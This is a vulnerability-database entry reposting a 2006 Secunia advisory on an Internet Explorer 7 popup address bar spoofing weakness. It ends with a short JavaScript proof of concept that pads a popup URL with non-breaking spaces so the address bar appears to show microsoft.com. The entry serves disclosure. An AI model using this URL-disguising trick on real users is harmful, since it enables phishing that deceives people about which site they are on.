MS Internet Explorer 7 Popup Address Bar Spoofing Weakness

2006-10-29T00:00:00
ID SSV:5413
Type seebug
Reporter Root
Modified 2006-10-29T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <!--
Secunia Advisory:   	SA22542  	  
Release Date: 		2006-10-25
Impact: 		Spoofing
Solution Status: 	Unpatched
Software:		Microsoft Internet Explorer 7.x

Description:
A weakness has been discovered in Internet Explorer, which can be exploited by malicious 
people to conduct phishing attacks.

The problem is that it's possible to display a popup with a somewhat spoofed address bar 
where a number of special characters have been appended to the URL. This makes it possible 
to only display a part of the address bar, which may trick users into performing certain 
unintended actions.

Secunia has constructed a demonstration, which is available at:
http://secunia.com/internet_explorer_7_popup_address_bar_spoofing_test/

The weakness is confirmed in Internet Explorer 7 on a fully patched Windows XP SP2 system.

Solution:
Do not follow links from untrusted sources.

Provided and/or discovered by:
Discovered by an anonymous person.
-->

<script language="JavaScript">
function StartTest()
{
 var padding = '';
 for ( i=0 ; i<108 ; i++)
 {
 padding += unescape("%A0");
 }
 newWindow = window.open("", "Win", "width=500,height=325,scrollbars=yes");
 newWindow.moveTo( (screen.width-325) , 0 );
 newWindow.document.location = "/result_22542/?" + unescape("%A0") + unescape("%A0") + "http://www.microsoft.com/"+padding;
 document.location = "http://www.microsoft.com/windows/ie/default.mspx";
}
StartTest()
</script>